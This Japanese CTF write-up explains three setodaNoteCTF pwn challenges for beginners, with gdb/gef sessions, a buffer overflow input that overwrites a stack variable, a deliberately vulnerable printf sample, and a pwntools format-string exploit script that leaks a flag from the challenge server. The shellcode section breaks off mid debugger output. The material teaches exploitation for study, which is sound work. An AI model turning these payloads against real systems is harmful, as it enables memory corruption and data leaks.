setodaNoteCTF pwn 冗長writeup
はじめに
setodaNoteCTFのpwn解説です。
pwnのwriteupは、その多くが読者にそこそこの知識がある前提で書かれていて、初心者が読むには難しすぎると個人的に感じています。
もともとが難しい分野ですからね…。自分もまだまだですが。
とんでもなく長くなりましたが、この分量を理解しないといけないほど難しい、というより単にめちゃくちゃ丁寧にしました。
初心者向けの大会ということもあり、gdbの使い方などもちょくちょく書いています。
読みづらいかもしれませんが、自分の手元で確認しながらゆっくり復習してもらえればと思います。
CTFはwriteupを読んで復習することで一番成長します。これはマジです。
あと苦手意識は頑張ってなくしましょう。いずれ面白いと思う時が来ます、きっと…
なお、読者層は「C言語、Pythonは読めるけどアセンブリとかデバッガ(gdb)とか意味不明」くらいを想定しています。
ただしASCIIコードくらいは理解している前提で進めていきます。
setodaNoteCTFに参加していてこの記事にたどり着く人なら大丈夫でしょう。
1問目:tkys_let_die
#include <stdio.h> #include <string.h> #include <stdlib.h> void printFlag(void) { system("/bin/cat ./flag"); } int main(void) { char gate[6]="close"; char name[16]=".."; printf("\n"); /* 中略 */ printf("\n"); printf("You'll need permission to pass. What's your name?\n> "); scanf("%32[^\n]", name); if (strcmp(gate,"open")==0) { printFlag(); }else{ printf("Gate is %s.\n", gate); printf("Goodbay %s.\n", name); } return 0; }
動的解析不要のwriteup
まずはローカル環境でもflagを適当に用意しておきます。
$ echo 'flag_dummy' > ./flag
ここから実行ファイルの挙動を確認していきます。
バグを起こさないような短いname
を入力しても、当然gate
変数は書き換わることはないため"close"のままです。
(巨大アスキーアートは省略します)
$ ./gate You'll need permission to pass. What's your name? > hogehoge Gate is close. Goodbay hogehoge.
また、長いname
を入力するとgate
の変数が書き換わっています。
$ ./gate You'll need permission to pass. What's your name? > aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Gate is aaaaaa. Goodbay aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.
では、いい感じにgate
が書き換わるくらいの長さに色々いじってgate
変数が"open"になるようにしてみます。
$ ./gate You'll need permission to pass. What's your name? > aaaaaaaaaaaaaaaaaaaaaaaaaaopen flag_dummy
これだけです。動的解析するまでもないです。リモートサーバにこの入力をコピペすれば終了。
gdbで動的解析
…が、一応gdb(というかその拡張であるgef)で挙動を追ってみます。このレベルであれば通常のgdbやgdb-pedaでも十分です。
gefを入れたい人は以下のコマンド2行目からどうぞ。gdbすら入っていない人は1行目から。
最新版のKali Linuxなどを使っている人はgefまでデフォルトで入っています。
$ sudo apt install gdb $ wget -O ~/.gdbinit-gef.py -q https://github.com/hugsy/gef/raw/master/gef.py $ echo source ~/.gdbinit-gef.py >> ~/.gdbinit
では改めて、gdb起動。以下のようになっていればOK。
$ gdb -q ./gate GEF for linux ready, type `gef' to start, `gef config' to configure 93 commands loaded for GDB 10.1.90.20210103-git using Python engine 3.9 [*] 3 commands could not be loaded, run `gef missing` to know why. Reading symbols from ./gate... (No debugging symbols found in ./gate) gef➤
まずは、上のソースコードのmain
関数部分がアセンブリ言語的にどうなっているか見るためにディスアセンブルします。コマンド名はdisas (関数名)
です。
なお、表示されるアドレスは環境によって異なります。適宜自分の環境で読み替えてください。
gef➤ disas main Dump of assembler code for function main: 0x0000000000001198 <+0>: push rbp 0x0000000000001199 <+1>: mov rbp,rsp 0x000000000000119c <+4>: sub rsp,0x20 0x00000000000011a0 <+8>: mov DWORD PTR [rbp-0x6],0x736f6c63 0x00000000000011a7 <+15>: mov WORD PTR [rbp-0x2],0x65 0x00000000000011ad <+21>: mov QWORD PTR [rbp-0x20],0x2e2e 0x00000000000011b5 <+29>: mov QWORD PTR [rbp-0x18],0x0 0x00000000000011bd <+37>: mov edi,0xa 0x00000000000011c2 <+42>: call 0x1030 <putchar@plt> ... 0x00000000000012de <+326>: lea rax,[rbp-0x20] 0x00000000000012e2 <+330>: mov rsi,rax 0x00000000000012e5 <+333>: lea rdi,[rip+0x12c9] # 0x25b5 0x00000000000012ec <+340>: mov eax,0x0 0x00000000000012f1 <+345>: call 0x1080 <__isoc99_scanf@plt> 0x00000000000012f6 <+350>: lea rax,[rbp-0x6] 0x00000000000012fa <+354>: lea rsi,[rip+0x12bc] # 0x25bd 0x0000000000001301 <+361>: mov rdi,rax 0x0000000000001304 <+364>: call 0x1070 <strcmp@plt> 0x0000000000001309 <+369>: test eax,eax 0x000000000000130b <+371>: jne 0x1314 <main+380> 0x000000000000130d <+373>: call 0x1185 <printFlag> 0x0000000000001312 <+378>: jmp 0x1344 <main+428> 0x0000000000001314 <+380>: lea rax,[rbp-0x6] 0x0000000000001318 <+384>: mov rsi,rax 0x000000000000131b <+387>: lea rdi,[rip+0x12a0] # 0x25c2 0x0000000000001322 <+394>: mov eax,0x0 0x0000000000001327 <+399>: call 0x1060 <printf@plt> 0x000000000000132c <+404>: lea rax,[rbp-0x20] 0x0000000000001330 <+408>: mov rsi,rax 0x0000000000001333 <+411>: lea rdi,[rip+0x1295] # 0x25cf 0x000000000000133a <+418>: mov eax,0x0 0x000000000000133f <+423>: call 0x1060 <printf@plt> 0x0000000000001344 <+428>: mov eax,0x0 0x0000000000001349 <+433>: leave 0x000000000000134a <+434>: ret End of assembler dump.
この問題のポイントは2つです
gate
変数ってどこにあるの?name
変数ってどこにあるの?
ではまず前者から。
最初はchar gate[6]="close"
で、基本的にリトルエンディアン(末尾側から順にメモリに格納する方式)で処理されていきます。
なので、"close"がメモリに格納される際は65 73 6f 6c 63
と逆順になることに注意です。
これに留意して先ほどのディスアセンブル結果で探すと、
0x00000000000011a0 <+8>: mov DWORD PTR [rbp-0x6],0x736f6c63 0x00000000000011a7 <+15>: mov WORD PTR [rbp-0x2],0x65
がそれらしいと目星をつけられます。
このmovという命令は、mov A B
で「AにBを代入する」くらいの理解で大丈夫です。
なので、ここでは「DWORD PTRとかはよく分からんがRBPという変数(厳密にはレジスタと言います)の近くに"close"がセットされているのでは?」となります。
これが正しいことを確認しましょう。
代入が終わった次の命令0x00000000000011ad <+21>: mov QWORD PTR [rbp-0x20],0x2e2e
の部分にブレークポイントを張ります。
このブレークポイントで停止すると、「main+15までは実行して、main+21以降は実行していない」状態です。
コマンドはb *(アドレス)
です。アスタリスク(*)を忘れずに。
gef➤ b *main+21 Breakpoint 1 at 0x11ad
そして実行。ブレークポイントを張った*main+21
実行直前で止まります。コマンドはr
です。
gef➤ r (出力省略)
この時のRBP周辺をみてみます。コマンドはtel (アドレス) (表示行数)
です。表示行数を設定しない場合、デフォルトで10です。
なお、これは設定したアドレス 以降 の情報しか見られないので、今回はRBP以前のアドレスも見るために少し前を指定します。
RBPなどのレジスタを設定するときは$
をつけます。
gef➤ tel $rbp-0x20 15 0x00007fffffffdf30│+0x0000: 0x0000555555555350 → <__libc_csu_init+0> push r15 ← $rsp 0x00007fffffffdf38│+0x0008: 0x00005555555550a0 → <_start+0> xor ebp, ebp 0x00007fffffffdf40│+0x0010: 0x00007fffffffe040 → 0x0000000000000001 0x00007fffffffdf48│+0x0018: 0x0065736f6c630000 0x00007fffffffdf50│+0x0020: 0x0000555555555350 → <__libc_csu_init+0> push r15 ← $rbp 0x00007fffffffdf58│+0x0028: 0x00007ffff7e14d0a → <__libc_start_main+234> mov edi, eax 0x00007fffffffdf60│+0x0030: 0x00007fffffffe048 → 0x00007fffffffe385 → "/home/kali/Downloads/die/gate" 0x00007fffffffdf68│+0x0038: 0x0000000100000000 0x00007fffffffdf70│+0x0040: 0x0000555555555198 → <main+0> push rbp 0x00007fffffffdf78│+0x0048: 0x00007ffff7e147cf → <init_cacheinfo+287> mov rbp, rax 0x00007fffffffdf80│+0x0050: 0x0000000000000000 0x00007fffffffdf88│+0x0058: 0x2f9571095b8cde23 0x00007fffffffdf90│+0x0060: 0x00005555555550a0 → <_start+0> xor ebp, ebp 0x00007fffffffdf98│+0x0068: 0x0000000000000000 0x00007fffffffdfa0│+0x0070: 0x0000000000000000
ありました。アドレス0x00007fffffffdf48
の中身が0x0065736f6c630000
となっているので、(リトルエンディアンに注意して) 0x00007fffffffdf4a ~ 0x00007fffffffdf4eに"close"という文字列が格納 ということが判明します。
では後半。
name
がどこに格納されるかを追うため、今度はscanf
直前にブレークポイントを張ります。具体的にはmain+345の直前部分です。
そして、今の時点ではmain+21で止まっているので、コマンドc
で再開します(r
ではありません)。
gef➤ b *main+345 Breakpoint 2 at 0x5555555552f1 gef➤ c Breakpoint 2, 0x00005555555552f1 in main () [ Legend: Modified register | Code | Heap | Stack | String ] ────────────────────────────────────────────────────────────────── registers ──── $rax : 0x0 $rbx : 0x0 $rcx : 0x0 $rdx : 0x0 $rsp : 0x00007fffffffdf30 → 0x0000000000002e2e (".."?) $rbp : 0x00007fffffffdf50 → 0x0000555555555350 → <__libc_csu_init+0> push r15 $rsi : 0x00007fffffffdf30 → 0x0000000000002e2e (".."?) $rdi : 0x00005555555565b5 → "%32[^\n]" $rip : 0x00005555555552f1 → <main+345> call 0x555555555080 <__isoc99_scanf@plt> $r8 : 0xa $r9 : 0x34 $r10 : 0x0000555555556580 → "You'll need permission to pass. What's your name?\[...]" $r11 : 0x246 $r12 : 0x00005555555550a0 → <_start+0> xor ebp, ebp $r13 : 0x0 $r14 : 0x0 $r15 : 0x0 $eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 ────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffdf30│+0x0000: 0x0000000000002e2e (".."?) ← $rsp, $rsi 0x00007fffffffdf38│+0x0008: 0x0000000000000000 0x00007fffffffdf40│+0x0010: 0x00007fffffffe040 → 0x0000000000000001 0x00007fffffffdf48│+0x0018: 0x0065736f6c630000 0x00007fffffffdf50│+0x0020: 0x0000555555555350 → <__libc_csu_init+0> push r15 ← $rbp 0x00007fffffffdf58│+0x0028: 0x00007ffff7e14d0a → <__libc_start_main+234> mov edi, eax 0x00007fffffffdf60│+0x0030: 0x00007fffffffe048 → 0x00007fffffffe385 → "/home/kali/Downloads/die/gate" 0x00007fffffffdf68│+0x0038: 0x0000000100000000 ──────────────────────────────────────────────────────────────── code:x86:64 ──── 0x5555555552e2 <main+330> mov rsi, rax 0x5555555552e5 <main+333> lea rdi, [rip+0x12c9] # 0x5555555565b5 0x5555555552ec <main+340> mov eax, 0x0 → 0x5555555552f1 <main+345> call 0x555555555080 <__isoc99_scanf@plt> ↳ 0x555555555080 <__isoc99_scanf@plt+0> jmp QWORD PTR [rip+0x2fba] # 0x555555558040 <__isoc99_scanf@got.plt> 0x555555555086 <__isoc99_scanf@plt+6> push 0x5 0x55555555508b <__isoc99_scanf@plt+11> jmp 0x555555555020 0x555555555090 <__cxa_finalize@plt+0> jmp QWORD PTR [rip+0x2f62] # 0x555555557ff8 0x555555555096 <__cxa_finalize@plt+6> xchg ax, ax 0x555555555098 add BYTE PTR [rax], al ──────────────────────────────────────────────────────── arguments (guessed) ──── __isoc99_scanf@plt ( $rdi = 0x00005555555565b5 → "%32[^\n]", $rsi = 0x00007fffffffdf30 → 0x0000000000002e2e (".."?) ) ──────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "gate", stopped 0x5555555552f1 in main (), reason: BREAKPOINT ────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x5555555552f1 → main() ─────────────────────────────────────────────────────────────────────────────────
すると、上の部分でarguments(guessed)
という部分があると思います1。
これは、C言語でいうscanf("%32[^\n]", name);
を「"%32[^\n]"という規則にのっとって読み込んだ文字をnameに格納する」と解釈するならば、
このアセンブリ言語でのscanf
は「レジスタRDIに書かれている規則にのっとって読み取った文字をレジスタRSI=0x00007fffffffdf30に格納する」となります。
念のため確認してみます。コマンドni
で一行だけ(つまりmain+345のscanf
部分だけ)実行します。
すると、scanf
の性質上標準入力からの入力待ちになるので、適当にAAAA
と(あえて短いものを)入力します。
gef➤ ni > AAAA (出力省略)
そして、アドレス0x00007fffffffdf30の中を覗きます2。tel
コマンドではアスタリスク不要です。
gef➤ tel 0x00007fffffffdf30 5 0x00007fffffffdf30│+0x0000: 0x0000000041414141 ("AAAA"?) ← $rsp 0x00007fffffffdf38│+0x0008: 0x0000000000000000 0x00007fffffffdf40│+0x0010: 0x00007fffffffe040 → 0x0000000000000001 0x00007fffffffdf48│+0x0018: 0x0065736f6c630000 0x00007fffffffdf50│+0x0020: 0x0000555555555350 → <__libc_csu_init+0> push r15 ← $rbp
これにて、0x00007fffffffdf30 ~ 0x00007fffffffdf33に"AAAA"という文字列が格納 ということが判明します(先ほどの"close"の部分も見えますね)。
以上をまとめると、
「アドレス0x00007fffffffdf30から"A"を連続で入力し続けると、27文字目で変数name
が格納されている0x00007fffffffdf4a部分に突入し、もともとあった"close"の文字列も上書き可能である」
=> 「"A" * 26 + "open" を入力すればよい」
となります。
2問目:1989
ソースコードも実行ファイルもなしです。リモートサーバに接続すると以下のように表示3。
$ nc 10.1.1.10 13030 =========================================================== _______ ________ __ ____ _ _ / ____\ \ / / ____| /_ |___ \| || | | | \ \ /\ / /| |__ ______ | | __) | || |_ | | \ \/ \/ / | __| |______| | ||__ <|__ _| | |____ \ /\ / | |____ | |___) | | | \_____| \/ \/ |______| |_|____/ |_| ========================================================== | flag | [0x56628060] >> flag is here << | Ready > hoge Your Inpur : hoge
基本的にReady >
の後に何か文字を入力すると、それと同じ入力がYour Inpur :
として表示されます(ここはおそらく作問時の誤字ですね)。
さて、CWE-134を調べるとFormat String Attack(書式文字列攻撃)とのこと。
これでピンとくる人は、方針に関しては大丈夫でしょう。
簡単に言うと、printf("%s", flag)
はいいけどprintf(flag)
はマズい、ということです。
いまのコンパイラは優秀なので、後者のような書き方をするとWarningが出るようになっています。
Format String Attackとは
サンプルとして以下のsample.c
を紹介します。
#include <stdio.h> #include <stdlib.h> #include <string.h> char buf[32]; int main(void) { printf("Format String Attack Test\n"); scanf("%31s", buf); printf(buf); return 0; }
当然ですが、printf(buf)
のところが問題です。これがどう意図せぬ挙動を引き起こすかを見てみます。
色々設定を無効にするため、コンパイルは
$ gcc sample.c -o sample -fstack-protector -fno-PIE -no-pie -m32
で。最低でも32ビットコンパイルをするための-m32
オプションだけは必須です。
32ビットコンパイルができない場合は
$ sudo apt install libc6-dev-i386
の後再度実行してください。それ以外のエラーはおそらくsudo apt upgrade
などで解消します。
この実行ファイルsample
を動かし、%p,%p,%p,%p,%p
などを入力すると一見不思議な結果が返ってきます。
$ ./sample Format String Attack Test %p,%p,%p,%p,%p 0x804c060,0xffb60aac,0x80491fd,0xf7f5a230,0xffb60a00
どこからこれが登場したのか、gdbで説明します。
まずは「gdb起動→main
関数ディスアセンブル→(謎の出力をする)printf
直前でブレークポイント」を実行します。
前半に登場するcall 0x8049040 <puts@plt>
はprintf("Format String Attack Test\n");
の部分なので関係ありません。
$ gdb -q ./sample gef➤ disas main Dump of assembler code for function main: 0x08049182 <+0>: lea ecx,[esp+0x4] 0x08049186 <+4>: and esp,0xfffffff0 0x08049189 <+7>: push DWORD PTR [ecx-0x4] 0x0804918c <+10>: push ebp 0x0804918d <+11>: mov ebp,esp 0x0804918f <+13>: push ecx 0x08049190 <+14>: sub esp,0x4 0x08049193 <+17>: sub esp,0xc 0x08049196 <+20>: push 0x804a008 0x0804919b <+25>: call 0x8049040 <puts@plt> 0x080491a0 <+30>: add esp,0x10 0x080491a3 <+33>: sub esp,0x8 0x080491a6 <+36>: push 0x804c060 0x080491ab <+41>: push 0x804a022 0x080491b0 <+46>: call 0x8049060 <__isoc99_scanf@plt> 0x080491b5 <+51>: add esp,0x10 0x080491b8 <+54>: sub esp,0xc 0x080491bb <+57>: push 0x804c060 0x080491c0 <+62>: call 0x8049030 <printf@plt> 0x080491c5 <+67>: add esp,0x10 0x080491c8 <+70>: mov eax,0x0 0x080491cd <+75>: mov ecx,DWORD PTR [ebp-0x4] 0x080491d0 <+78>: leave 0x080491d1 <+79>: lea esp,[ecx-0x4] 0x080491d4 <+82>: ret End of assembler dump. gef➤ b *main+62
そしてr
コマンドで謎出力をするmain+62直前まで実行。途中で要求される標準入力は%p,%p,%p,%p,%p
で。
gef➤ r %p,%p,%p,%p,%p Breakpoint 1, 0x080491c0 in main () [ Legend: Modified register | Code | Heap | Stack | String ] ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $eax : 0x1 $ebx : 0x0 $ecx : 0xf7f3e380 → 0x00020002 $edx : 0xf7faf000 → 0x001e4d6c $esp : 0xffffd0f0 → 0x0804c060 → "%p,%p,%p,%p,%p" $ebp : 0xffffd108 → 0x00000000 $esi : 0xf7faf000 → 0x001e4d6c $edi : 0xf7faf000 → 0x001e4d6c $eip : 0x080491c0 → 0xfffe6be8 → 0x00000000 $eflags: [zero carry parity ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0xffffd0f0│+0x0000: 0x0804c060 → "%p,%p,%p,%p,%p" ← $esp 0xffffd0f4│+0x0004: 0x0804c060 → "%p,%p,%p,%p,%p" 0xffffd0f8│+0x0008: 0xffffd1cc → 0xffffd39a → "COLORFGBG=15;0" 0xffffd0fc│+0x000c: 0x080491fd → <__libc_csu_init+29> lea ebx, [ebp-0xf0] 0xffffd100│+0x0010: 0xf7fe3230 → push ebp 0xffffd104│+0x0014: 0xffffd120 → 0x00000001 0xffffd108│+0x0018: 0x00000000 ← $ebp 0xffffd10c│+0x001c: 0xf7de8e46 → <__libc_start_main+262> add esp, 0x10 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ──── 0x80491b5 <main+51> add esp, 0x10 0x80491b8 <main+54> sub esp, 0xc 0x80491bb <main+57> push 0x804c060 → 0x80491c0 <main+62> call 0x8049030 <printf@plt> ↳ 0x8049030 <printf@plt+0> jmp DWORD PTR ds:0x804c00c 0x8049036 <printf@plt+6> push 0x0 0x804903b <printf@plt+11> jmp 0x8049020 0x8049040 <puts@plt+0> jmp DWORD PTR ds:0x804c010 0x8049046 <puts@plt+6> push 0x8 0x804904b <puts@plt+11> jmp 0x8049020 ───────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ──── printf@plt ( [sp + 0x0] = 0x0804c060 → "%p,%p,%p,%p,%p", [sp + 0x4] = 0x0804c060 → "%p,%p,%p,%p,%p", [sp + 0x8] = 0xffffd1cc → 0xffffd39a → "COLORFGBG=15;0", [sp + 0xc] = 0x080491fd → <__libc_csu_init+29> lea ebx, [ebp-0xf0] ) ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "sample", stopped 0x80491c0 in main (), reason: BREAKPOINT ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x80491c0 → main() ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
ここで、stack
の部分に注目すると
0xffffd0f0│+0x0000: 0x0804c060 → "%p,%p,%p,%p,%p" ← $esp 0xffffd0f4│+0x0004: 0x0804c060 → "%p,%p,%p,%p,%p" 0xffffd0f8│+0x0008: 0xffffd1cc → 0xffffd39a → "COLORFGBG=15;0" 0xffffd0fc│+0x000c: 0x080491fd → <__libc_csu_init+29> lea ebx, [ebp-0xf0] 0xffffd100│+0x0010: 0xf7fe3230 → push ebp 0xffffd104│+0x0014: 0xffffd120 → 0x00000001 0xffffd108│+0x0018: 0x00000000 ← $ebp 0xffffd10c│+0x001c: 0xf7de8e46 → <__libc_start_main+262> add esp, 0x10
となっていることに留意します。
これ以上ブレークポイントは張っていないので、いったんコマンドc
でプログラムを最後まで実行し、2回目のprintf
出力を表示させます。
gef➤ c Continuing. 0x804c060,0xffffd1cc,0x80491fd,0xf7fe3230,0xffffd120[Inferior 1 (process 71515) exited normally]
ここで表示される値は「stack
の2行目からのアドレス」と一致しています4。
そして、先ほどは%p
としていましたが、これを%s
に置き換えると、「stack
の2行目からのアドレス の中身 」に代わります。
当然、1つ目(アドレス0x0804c060)以外の中身は、ASCIIで表示される範囲外のバイトを含むため文字化けします。
$ ./sample Format String Attack Test %s,%s,%s,%s %s,%s,%s,%s,�3���3���3�� 4��B4��c4��p4���4���4���4���4���4���4���4��5���5���5���5���5��6��6��i6��|6���6���6���6���6���6��7�� 7��97���7���7���7���7���7��)8��@8��e8��v8���8���8���8��9����;9��*?��B?��Z?��o?���?���?���?���?��,������� ���)���t%1���,U��W���
ここまででFormat String Attackの説明はおしまいです。
ざっくり言うと、printf
はこのstack
の部分に積まれた情報を%s
など指定されたフォーマットをもとに表示する仕組みになっています。
なので、簡単にこの脆弱性をまとめると、「printf(flag)
のようなコードに対してflag="%p"
とするとstack
という場所(の2行目以降)に積まれているアドレスそのものが、flag="%s"
とするとそのアドレスの中身が表示される」となります。
writeup
では問題の解説に移ります。まずは%p
を入力してみます。
$ nc 10.1.1.10 13030 | flag | [0x565b8060] >> flag is here << | Ready > %p,%p,%p,%p,%p,%p Your Inpur : 0xffc98a00,0xffc98e08,0x565b5306,0x252c7025,0x70252c70,0x2c70252c
表示されるアドレスは毎回異なりますので注意が必要です。
ここで"%p,"という文字列そのものがリトルエンディアンで格納されるときは2c 70 25
となっていて、上のアドレスの4番目がこれによく似ていることに注意すると、stack
の構造としては以下のようになっていると想像できます。
stack│+0x0000: ???????? (stackの先頭) stack│+0x0004: 0xffc98a00 (最初の%p部分, stack2行目) stack│+0x0008: 0xffc98e08 (2回目の%p部分) stack│+0x000c: 0x565b5306 (3回目の%p部分) stack│+0x0010: 0x252c7025 (ここから入力文字列がリトルエンディアンで格納)
では、ASCIIで表示できるかどうかは一旦置いておいて、文字列として\x60\x80\x5b\x56
が入力できた場合を考えます。
すると、当然ですが以下のようなstack
の状態になります。
stack│+0x0000: ???????? stack│+0x0004: 0xffc98a00 (最初の%p部分) stack│+0x0008: 0xffc98e08 stack│+0x000c: 0x565b5306 stack│+0x0010: 0x565b8060 (flagのあるアドレス)
そして、この状態で%s
を使えばflagのあるアドレスの中身(つまりflag自身)を覗けます。
先頭を除いて4行目のアドレスの中身表示なので%s
を4回使わなければいけないように見えますが、実は%(count)$s
とすることで「先頭を除いて(count)行目のstackのアドレスの中身表示」が可能です。
なので、理論上は「flagのアドレス + '%4$s'」を入力すれば答えとなります。
では、\x60\x80\x5b\x56
などといったflagのアドレスをどう入力すればよいでしょうか?
\x80
はASCII表示できませんし、毎回設定されるflagのアドレスはバラバラなので
$ python3 -c "print('\x60\x80\x5b\x56')" | nc 10.1.1.10 13030
のようなパイプは使えません。
そこで、ここではpwntoolsを用いたPythonでのエクスプロイトコードを紹介します。
今回のWebshellには入っていますが、手元のローカル環境で色々デバッグしたいときは$ python3 -m pip install pwntools
でどうぞ。
#!/usr/bin/python3 from pwn import * # リモートサーバ接続 conn = remote('10.1.1.10', 13030) # flagアドレス直前まで取得 conn.recvuntil(b'flag | [') # flagアドレス(str型)を取得後、一度int型に直してリトルエンディアンに変換 flag_addr = conn.recvuntil(b']')[:-1].decode() flag_addr = int(flag_addr, 16).to_bytes(4, 'little') # payload生成、送信 payload = flag_addr + b'%4$s' conn.recvuntil(b'Ready > ') conn.sendline(payload) print(conn.recvline()) # なくてもよい conn.close()
これをリモートサーバ上で$ vi ./exploit.py
などとして作成し、実行すれば良いでしょう。
3問目:Shellcode
ソースコードはなく、実行ファイルが与えられます。いかにもpwnといった感じです。
「ディスアセンブル!アセンブリ言語読んで挙動把握!エクスプロイトコード書く!」
みたいな(決して間違ってはないですが)不親切なwriteupにはしません。
まずは(万能)静的解析ツールGhidraを導入します。
基本的にGhidraの使い方 | 初心者がリバースエンジニアリングツールGhidraを使ってみたを参照すればよいでしょう。
この記事の先頭から「Ghidraでmain関数をデコンパイルする」まで読んで、今回の実行ファイルshellcode
を使って自分で同じように動かしてみてください。本当に親切に書かれています。
さて、Ghidraでのデコンパイル結果がこちらです。
undefined8 main(void) { char local_58 [80]; setvbuf(stdout,local_58,2,0x50); puts(" |"); printf("target | [%p]\n",local_58); puts(" |"); printf("Well. Ready for the shellcode?\n> "); __isoc99_scanf("%[^\n]",local_58); puts(local_58); return 0; }
念のためですが、このデコンパイル結果を100%信用しないようにしましょう。
実行ファイルによっては関数の引数の個数が時々バラバラだったりします。
なので、だいたいの挙動を(アセンブリ言語よりは見やすい形で)把握するくらいの認識で。
ちなみに、定義自体はされているがmain
関数では呼び出されていない隠された関数(例えばshow_flag
みたいな露骨に怪しそうな関数など)がないかどうかは、gdbを起動して
gef➤ i functions All defined functions: Non-debugging symbols: 0x0000000000001000 _init 0x0000000000001030 puts@plt 0x0000000000001040 printf@plt 0x0000000000001050 setvbuf@plt 0x0000000000001060 __isoc99_scanf@plt 0x0000000000001070 __cxa_finalize@plt 0x0000000000001080 _start 0x00000000000010b0 deregister_tm_clones 0x00000000000010e0 register_tm_clones 0x0000000000001120 __do_global_dtors_aux 0x0000000000001160 frame_dummy 0x0000000000001165 main 0x0000000000001200 __libc_csu_init 0x0000000000001260 __libc_csu_fini 0x0000000000001264 _fini
で確認できます(もしかするとgefにしかないかもしれません)。本問題では特に怪しい関数はありません。
挙動確認
上のデコンパイル結果を見るに、重要そうなのは
__isoc99_scanf("%[^\n]",local_58); puts(local_58);
くらいで、scanf
してputs
で表示。これだけです(ちなみにここでGhidraの出番は終了です)。
当然printf
ではないのでFormat String Attackは使えません。また、入力が長いと
$ ./shellcode | target | [0x7ffc4c759850] | Well. Ready for the shellcode? > aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa zsh: segmentation fault (core dumped) ./shellcode
とエラーを吐きます。
ではここから、このエラーの原因をgdbで探っていきます。
例によって「gdb起動 → ディスアセンブル → scanf
直前にブレークポイント」
またmain
関数終了直前にもブレークポイントを張っておきます。そして(scanf
直前まで)実行。
$ gdb -q ./shellcode gef➤ disas main Dump of assembler code for function main: 0x0000000000001165 <+0>: push rbp 0x0000000000001166 <+1>: mov rbp,rsp ... 0x00000000000011d9 <+116>: mov eax,0x0 0x00000000000011de <+121>: call 0x1060 <__isoc99_scanf@plt> 0x00000000000011e3 <+126>: lea rax,[rbp-0x50] 0x00000000000011e7 <+130>: mov rdi,rax 0x00000000000011ea <+133>: call 0x1030 <puts@plt> 0x00000000000011ef <+138>: mov eax,0x0 0x00000000000011f4 <+143>: leave 0x00000000000011f5 <+144>: ret End of assembler dump. gef➤ b *main+121 Breakpoint 1 at 0x11de gef➤ b *main+144 Breakpoint 2 at 0x11f5 gef➤ r | target | [0x7fffffffdf20] | Well. Ready for the shellcode? > [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0x0 $rbx : 0x0 $rcx : 0x0 $rdx : 0x00007ffff7dcf8c0 → 0x0000000000000000 $rsp : 0x00007fffffffdf20 → 0x00007fffffffdf88 → 0x00007fffffffe058 → 0x00007fffffffe375 → "/mnt/hgfs/vm_share/shellcode/shellcode" $rbp : 0x00007fffffffdf70 → 0x0000555555555200 → <__libc_csu_init+0> push r15 $rsi : 0x00007fffffffdf20 → 0x00007fffffffdf88 → 0x00007fffffffe058 → 0x00007fffffffe375 → "/mnt/hgfs/vm_share/shellcode/shellcode" $rdi : 0x0000555555556042 → 0x1b01005d0a5e5b25 ("%[^\n]"?) $rip : 0x00005555555551de → <main+121> call 0x555555555060 <__isoc99_scanf@plt> $r8 : 0x21 $r9 : 0x6552202e6c6c6557 ("Well. Re"?) $r10 : 0x20726f6620796461 ("ady for "?) $r11 : 0x246 $r12 : 0x0000555555555080 → <_start+0> xor ebp, ebp $r13 : 0x00007fffffffe050 → 0x0000000000000001 $r14 : 0x0 $r15 : 0x0 $eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffdf20│+0x0000: 0x00007fffffffdf88 → 0x00007fffffffe058 → 0x00007fffffffe375 → "/mnt/hgfs/vm_share/shellcode/shellcode" ← $rsp, $rsi 0x00007fffffffdf28│+0x0008: 0x0000000000000001 0x00007fffffffdf30│+0x0010: 0x00007fffffffe058 → 0x00007fffffffe375 → "/mnt/hgfs/vm_share/shellcode/shellcode" 0x00007fffffffdf38│+0x0018: 0x0000555555555245 → <__libc_csu_init+69> add rbx, 0x1 0x00007fffffffdf40│+0x0020: 0x00007ffff7de3b40 → <_dl_fini+0> push rbp 0x00007fffffffdf48│+0x0028: 0x0000000000000000 0x00007fffffffdf50│+0x0030: 0x0000555555555200 → <__libc_csu_init+0> push r15 0x00007fffffffdf58│+0x0038: 0x0000555555555080 → <_start+0> xor ebp, ebp ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x5555555551cf <main+106> mov rsi, rax 0x5555555551d2 <main+109> lea rdi, [rip+0xe69] # 0x555555556042 0x5555555551d9 <main+116> mov eax, 0x0 → 0x5555555551de <main+121> call 0x555555555060 